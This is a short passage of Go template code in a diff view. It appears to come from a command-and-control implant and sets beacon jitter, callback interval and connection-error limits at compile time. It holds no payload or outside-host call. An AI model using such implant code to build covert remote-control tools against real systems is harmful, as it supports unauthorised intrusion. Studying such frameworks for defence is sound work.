reconnectInterval = time.Duration(interval)
}
// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
func GetJitter() int64 {
if jitter == time.Duration(0) {
configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
jitter = time.Duration(configJitter)
if err != nil {
jitter = time.Duration(30 * time.Second)
}
}
return int64(jitter)
}
// SetJitter - Set the jitter value dynamically
func SetJitter(newJitter int64) {
jitter = time.Duration(newJitter)
}
// {{end}} - IsBeacon
// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
func GetInterval() int64 {
if interval == time.Duration(0) {
configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
if err != nil {
interval = time.Duration(30 * time.Second)
}
interval = time.Duration(configInterval)
}
return int64(interval)
}
// SetInterval - Set the interval value dynamically
func SetInterval(newInterval int64) {
interval = time.Duration(newInterval)
}
// {{end}} - IsBeacon
// GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
func GetMaxConnectionErrors() int {
maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)
Loaded 100 of 1161 files, more files were not shown because too many files have changed in this diff. Show more